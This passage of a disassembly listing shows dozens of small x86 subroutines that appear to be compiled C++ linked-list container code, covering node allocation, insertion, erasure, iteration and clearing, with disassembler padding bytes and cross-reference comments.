esi pop ecx retn 4 sub_13BF5E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF620 proc near ; CODE XREF: sub_13AB658j var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_13AC189 lea ecx, [esp+14h+var_10] push ecx mov ecx, esi call sub_13AB6E9 lea edx, [esp+18h+var_10] lea ecx, [esp+18h+var_14] push edx call sub_13AC15C test al, al jz short loc_13BF6A1 push edi mov edi, [esp+20h+var_8] loc_13BF653: ; CODE XREF: sub_13BF620+7Ej lea ecx, [esp+20h+var_18] call sub_13AC3A5 mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_13BF685 lea ecx, [esp+20h+var_8] push 0 push ecx lea ecx, [esp+28h+var_18] call sub_13AB96E mov edx, [eax] lea eax, [esp+28h+var_18] push edx push eax mov ecx, esi call sub_13AC3AF jmp short loc_13BF68E ; --------------------------------------------------------------------------- loc_13BF685: ; CODE XREF: sub_13BF620+42j lea ecx, [esp+20h+var_18] call sub_13AC4A4 loc_13BF68E: ; CODE XREF: sub_13BF620+63j lea ecx, [esp+20h+var_14] push ecx lea ecx, [esp+24h+var_18] call sub_13AC15C test al, al jnz short loc_13BF653 pop edi loc_13BF6A1: ; CODE XREF: sub_13BF620+2Cj pop esi add esp, 0Ch retn 4 sub_13BF620 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF6E0 proc near ; CODE XREF: sub_13AC21Fj push esi mov esi, ecx call sub_13AC2B5 mov eax, esi pop esi retn sub_13BF6E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF700 proc near ; CODE XREF: sub_13AC3A5j mov eax, [ecx] push eax call sub_13AC2FB add esp, 4 retn sub_13BF700 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF720 proc near ; CODE XREF: sub_13AC4A4j push esi mov esi, ecx mov eax, [esi] push eax call sub_13AC48B mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_13BF720 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF750 proc near ; CODE XREF: sub_13AC15Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_13AB9CD neg al sbb eax, eax inc eax retn 4 sub_13BF750 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF780 proc near ; CODE XREF: sub_13AC305j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_13AC07B mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_13BF780 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF7C0 proc near ; CODE XREF: sub_13AB5B8j var_C = byte ptr -0Ch sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_13AC634 mov ecx, [eax] lea edx, [esp+14h+var_C] push ecx push edx mov ecx, esi call sub_13ABD83 mov eax, [eax] lea ecx, [esp+1Ch+var_C] push eax push ecx mov ecx, esi call sub_13AB72F mov edx, [esi+4] mov ecx, esi push edx call sub_13AC21A xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn sub_13BF7C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF830 proc near ; CODE XREF: sub_13ABD83j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_13AB649 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_13AC0C6 mov eax, esi pop esi retn 4 sub_13BF830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF870 proc near ; CODE XREF: sub_13AC634j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_13AC0C6 mov eax, esi pop esi retn 4 sub_13BF870 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF8A0 proc near ; CODE XREF: sub_13AC2F1j var_8 = byte ptr -8 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_13AC634 mov edx, [eax] lea eax, [esp+10h+var_8] push edx push eax mov ecx, esi call sub_13ABE96 pop esi pop ecx retn 4 sub_13BF8A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF8E0 proc near ; CODE XREF: sub_13ABD24j var_C = byte ptr -0Ch sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_13AC634 mov ecx, [eax] lea edx, [esp+14h+var_C] push ecx push edx mov ecx, esi call sub_13ABD83 mov eax, [eax] lea ecx, [esp+1Ch+var_C] push eax push ecx mov ecx, esi call sub_13AB72F pop esi add esp, 0Ch retn sub_13BF8E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF930 proc near ; CODE XREF: sub_13AB554j var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_13AC634 lea ecx, [esp+14h+var_10] push ecx mov ecx, esi call sub_13ABD83 lea edx, [esp+18h+var_10] lea ecx, [esp+18h+var_14] push edx call sub_13ABED7 test al, al jz short loc_13BF9B1 push edi mov edi, [esp+20h+var_8] loc_13BF963: ; CODE XREF: sub_13BF930+7Ej lea ecx, [esp+20h+var_18] call sub_13AB5D1 mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_13BF995 lea ecx, [esp+20h+var_8] push 0 push ecx lea ecx, [esp+28h+var_18] call sub_13AB4DC mov edx, [eax] lea eax, [esp+28h+var_18] push edx push eax mov ecx, esi call sub_13ABBDF jmp short loc_13BF99E ; --------------------------------------------------------------------------- loc_13BF995: ; CODE XREF: sub_13BF930+42j lea ecx, [esp+20h+var_18] call sub_13ABCB6 loc_13BF99E: ; CODE XREF: sub_13BF930+63j lea ecx, [esp+20h+var_14] push ecx lea ecx, [esp+24h+var_18] call sub_13ABED7 test al, al jnz short loc_13BF963 pop edi loc_13BF9B1: ; CODE XREF: sub_13BF930+2Cj pop esi add esp, 0Ch retn 4 sub_13BF930 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF9F0 proc near ; CODE XREF: sub_13AB437j push esi mov esi, ecx call sub_13AC279 mov eax, esi pop esi retn sub_13BF9F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFA10 proc near ; CODE XREF: sub_13AB5D1j mov eax, [ecx] push eax call sub_13AC526 add esp, 4 retn sub_13BFA10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFA30 proc near ; CODE XREF: sub_13ABCB6j push esi mov esi, ecx mov eax, [esi] push eax call sub_13AB649 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_13BFA30 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFA60 proc near ; CODE XREF: sub_13ABED7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_13AC2A6 neg al sbb eax, eax inc eax retn 4 sub_13BFA60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFA90 proc near ; CODE XREF: sub_13ABC43j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_13AC1A2 mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_13BFA90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFAD0 proc near ; CODE XREF: sub_13AB8B5j var_C = byte ptr -0Ch sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_13AB54A mov ecx, [eax] lea edx, [esp+14h+var_C] push ecx push edx mov ecx, esi call sub_13ABCF2 mov eax, [eax] lea ecx, [esp+1Ch+var_C] push eax push ecx mov ecx, esi call sub_13AB801 mov edx, [esi+4] mov ecx, esi push edx call sub_13AC2F6 xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn sub_13BFAD0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFB40 proc near ; CODE XREF: sub_13ABCF2j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_13ABFB8 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_13AC166 mov eax, esi pop esi retn 4 sub_13BFB40 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFB80 proc near ; CODE XREF: sub_13AB54Aj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_13AC166 mov eax, esi pop esi retn 4 sub_13BFB80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFBB0 proc near ; CODE XREF: sub_13AB806j var_8 = byte ptr -8 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_13AB54A mov edx, [eax] lea eax, [esp+10h+var_8] push edx push eax mov ecx, esi call sub_13AC0FD pop esi pop ecx retn 4 sub_13BFBB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFBF0 proc near ; CODE XREF: sub_13AC062j var_C = byte ptr -0Ch sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_13AB54A mov ecx, [eax] lea edx, [esp+14h+var_C] push ecx push edx mov ecx, esi call sub_13ABCF2 mov eax, [eax] lea ecx, [esp+1Ch+var_C] push eax push ecx mov ecx, esi call sub_13AB801 pop esi add esp, 0Ch retn sub_13BFBF0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFC40 proc near ; CODE XREF: sub_13AC530j var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_13AB54A lea ecx, [esp+14h+var_10] push ecx mov ecx, esi call sub_13ABCF2 lea edx, [esp+18h+var_10] lea ecx, [esp+18h+var_14] push edx call sub_13AB739 test al, al jz short loc_13BFCC1 push edi mov edi, [esp+20h+var_8] loc_13BFC73: ; CODE XREF: sub_13BFC40+7Ej lea ecx, [esp+20h+var_18] call sub_13AB75C mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_13BFCA5 lea ecx, [esp+20h+var_8] push 0 push ecx lea ecx, [esp+28h+var_18] call sub_13AC2A1 mov edx, [eax] lea eax, [esp+28h+var_18] push edx push eax mov ecx, esi call sub_13AB478 jmp short loc_13BFCAE ; --------------------------------------------------------------------------- loc_13BFCA5: ; CODE XREF: sub_13BFC40+42j lea ecx, [esp+20h+var_18] call sub_13AB58B loc_13BFCAE: ; CODE XREF: sub_13BFC40+63j lea ecx, [esp+20h+var_14] push ecx lea ecx, [esp+24h+var_18] call sub_13AB739 test al, al jnz short loc_13BFC73 pop edi loc_13BFCC1: ; CODE XREF: sub_13BFC40+2Cj pop esi add esp, 0Ch retn 4 sub_13BFC40 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFD00 proc near ; CODE XREF: sub_13AC652j push esi mov esi, ecx call sub_13AC229 mov eax, esi pop esi retn sub_13BFD00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFD20 proc near ; CODE XREF: sub_13AB75Cj mov eax, [ecx] push eax call sub_13ABBDA add esp, 4 retn sub_13BFD20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFD40 proc near ; CODE XREF: sub_13AB58Bj push esi mov esi, ecx mov eax, [esi] push eax call sub_13ABFB8 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_13BFD40 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFD70 proc near ; CODE XREF: sub_13AB739j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_13AB84C neg al sbb eax, eax inc eax retn 4 sub_13BFD70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFDA0 proc near ; CODE XREF: sub_13AB53Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_13AC48B mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_13ABB53 mov eax, esi pop esi retn 4 sub_13BFDA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFDE0 proc near ; CODE XREF: sub_13ABACCj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_13ABB53 mov eax, esi pop esi retn 4 sub_13BFDE0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFE10 proc near ; CODE XREF: sub_13AC55Dj var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_13AC04E mov edi, eax push edi call sub_13AB504 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_13AC2BA push edi mov ebx, eax call sub_13AB504 push edi mov [eax], ebx call sub_13AB504 mov edi, [eax] push edi call sub_13AB504 mov ecx, [eax] push ecx call sub_13AC48B mov edx, [esp+24h+arg_0] add esp, 10h mov [eax], edi push edx push edi call sub_13AC2FB add esp, 4 mov ecx, esi push eax call sub_13AC594 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+20h+var_C] mov ecx, esi call sub_13AC1A7 mov eax, esi pop edi pop esi pop ebx retn 0Ch sub_13BFE10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFEB0 proc near ; CODE XREF: sub_13ABB2Bj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, ecx lea eax, [esp+4+arg_8] lea ecx, [esp+4+arg_4] push eax call sub_13AC0A8 test al, al jz short loc_13BFEFD push edi mov edi, [esp+0Ch] loc_13BFECA: ; CODE XREF: sub_13BFEB0+4Aj lea ecx, [esp+0Ch+arg_0] call sub_13ABE4B push eax lea ecx, [esp+10h] push edi push ecx mov ecx, esi call sub_13AC55D lea ecx, [esp+18h+var_8] call sub_13AC4EF lea edx, [esp+18h+var_4] lea ecx, [esp+18h+var_8] push edx call sub_13AC0A8 test al, al jnz short loc_13BFECA pop edi loc_13BFEFD: ; CODE XREF: sub_13BFEB0+13j pop esi retn 0Ch sub_13BFEB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFF30 proc near ; CODE XREF: sub_13AC3AFj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_13AB96E mov ecx, eax call sub_13AC04E mov esi, eax push esi call sub_13AC48B push esi mov ebx, eax call sub_13AB504 mov ecx, [eax] push ecx call sub_13AC48B mov edx, [ebx] push esi mov [eax], edx call sub_13AB504 push esi mov ebx, eax call sub_13AC48B mov eax, [eax] push eax call sub_13AB504 mov ecx, [ebx] push esi mov [eax], ecx call sub_13AC2FB add esp, 1Ch mov ecx, edi push eax call sub_13AB8F6 push esi mov ecx, edi call sub_13AC0D5 mov eax, [edi+8] mov edx, [esp+20h+var_8] dec eax mov [edi+8], eax mov eax, [esp+20h+var_C] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 sub_13BFF30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BFFF0 proc near ; CODE XREF: sub_13AB865j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_13AC15C test al, al jz short loc_13C004A loc_13C0008: ; CODE XREF: sub_13BFFF0+47j lea ecx, [esp+10h+var_C] push 0 push ecx lea ecx, [esp+18h+arg_0] call sub_13AB96E mov edx, [eax] lea eax, [esp+18h+var_10] push edx push eax mov ecx, esi call sub_13AC3AF lea ecx, [esp+20h+var_8] push ecx lea ecx, [esp+24h+var_C] call sub_13AC15C test al, al jnz short loc_13C0008 mov eax, [esp+24h+var_14] mov edx, [esp+24h+var_10] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_13C004A: ; CODE XREF: sub_13BFFF0+16j mov eax, [esp+10h] mov ecx, [esp+10h+arg_0] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_13BFFF0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0080 proc near ; CODE XREF: sub_13AC2BAj arg_0 = dword ptr 4 push esi push edi push 0Ch call sub_13AC4D6 mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_13C0095 mov edi, esi loc_13C0095: ; CODE XREF: sub_13C0080+11j push esi call sub_13AC48B mov [eax], edi mov edi, [esp+10h+arg_0] add esp, 4 test edi, edi jnz short loc_13C00AA mov edi, esi loc_13C00AA: ; CODE XREF: sub_13C0080+26j push esi call sub_13AB504 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 sub_13C0080 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C00D0 proc near ; CODE XREF: sub_13AC0D5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_13AC201 retn 4 sub_13C00D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C00F0 proc near ; CODE XREF: sub_13AC48Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_13C00F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0110 proc near ; CODE XREF: sub_13AC2FBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_13C0110 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0130 proc near ; CODE XREF: sub_13AC2B5j mov eax, ecx retn sub_13C0130 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0150 proc near ; CODE XREF: sub_13AC1A7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_13ABB53 mov eax, esi pop esi retn 4 sub_13C0150 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0180 proc near ; CODE XREF: sub_13AB96Ej arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_13AC4A4 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_13C0180 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C01B0 proc near ; CODE XREF: sub_13AB9CDj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_13C01B0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C01E0 proc near ; CODE XREF: sub_13ABE96j var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_13AC36E mov edi, eax push edi call sub_13AB563 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_13AC07B push edi mov ebx, eax call sub_13AB563 push edi mov [eax], ebx call sub_13AB563 mov edi, [eax] push edi call sub_13AB563 mov ecx, [eax] push ecx call sub_13AB649 mov edx, [esp+24h+arg_0] add esp, 10h mov [eax], edi push edx push edi call sub_13AC526 add esp, 4 mov ecx, esi push eax call sub_13AB9E6 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+20h+var_C] mov ecx, esi call sub_13AC0C6 mov eax, esi pop edi pop esi pop ebx retn 0Ch sub_13C01E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0280 proc near ; CODE XREF: sub_13ABBDFj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_13AB4DC mov ecx, eax call sub_13AC36E mov esi, eax push esi call sub_13AB649 push esi mov ebx, eax call sub_13AB563 mov ecx, [eax] push ecx call sub_13AB649 mov edx, [ebx] push esi mov [eax], edx call sub_13AB563 push esi mov ebx, eax call sub_13AB649 mov eax, [eax] push eax call sub_13AB563 mov ecx, [ebx] push esi mov [eax], ecx call sub_13AC526 add esp, 1Ch mov ecx, edi push eax call sub_13AC14D push esi mov ecx, edi call sub_13AC21A mov eax, [edi+8] mov edx, [esp+20h+var_8] dec eax mov [edi+8], eax mov eax, [esp+20h+var_C] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 sub_13C0280 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0340 proc near ; CODE XREF: sub_13AB72Fj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_13ABED7 test al, al jz short loc_13C039A loc_13C0358: ; CODE XREF: sub_13C0340+47j lea ecx, [esp+10h+var_C] push 0 push ecx lea ecx, [esp+18h+arg_0] call sub_13AB4DC mov edx, [eax] lea eax, [esp+18h+var_10] push edx push eax mov ecx, esi call sub_13ABBDF lea ecx, [esp+20h+var_8] push ecx lea ecx, [esp+24h+var_C] call sub_13ABED7 test al, al jnz short loc_13C0358 mov eax, [esp+24h+var_14] mov edx, [esp+24h+var_10] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_13C039A: ; CODE XREF: sub_13C0340+16j mov eax, [esp+10h] mov ecx, [esp+10h+arg_0] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_13C0340 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C03D0 proc near ; CODE XREF: sub_13AC07Bj arg_0 = dword ptr 4 push esi push edi push 0Ch call sub_13AB9A5 mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_13C03E5 mov edi, esi loc_13C03E5: ; CODE XREF: sub_13C03D0+11j push esi call sub_13AB649 mov [eax], edi mov edi, [esp+10h+arg_0] add esp, 4 test edi, edi jnz short loc_13C03FA mov edi, esi loc_13C03FA: ; CODE XREF: sub_13C03D0+26j push esi call sub_13AB563 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 sub_13C03D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0420 proc near ; CODE XREF: sub_13AC21Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_13AB4D7 retn 4 sub_13C0420 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0440 proc near ; CODE XREF: sub_13AB649j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_13C0440 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0460 proc near ; CODE XREF: sub_13AC526j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_13C0460 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0480 proc near ; CODE XREF: sub_13AC279j mov eax, ecx retn sub_13C0480 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C04A0 proc near ; CODE XREF: sub_13AC0C6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_13AB757 mov eax, esi pop esi retn 4 sub_13C04A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C04D0 proc near ; CODE XREF: sub_13AB4DCj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_13ABCB6 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_13C04D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0500 proc near ; CODE XREF: sub_13AC2A6j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_13C0500 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C0530 proc near ; CODE XREF: sub_13AC0FDj var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_13AB6CB mov edi, eax push edi call sub_13ABBD5 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_13AC1A2 push edi mov ebx, eax call sub_13ABBD5 push edi mov [eax], ebx call sub_13ABBD5 mov edi, [eax] push edi call sub_13ABBD5 mov ecx, [eax] push ecx call sub_13ABFB8 mov edx, [esp+24h+arg_0] add esp, 10h mov [eax], edi push edx push edi call sub_13ABBDA add esp, 4 mov ecx, esi push eax call sub_13AC1FC mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+20h+var_C] mov ecx, esi call sub_13AC166 mov eax, esi pop edi pop esi pop ebx retn 0Ch sub_13C0530 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 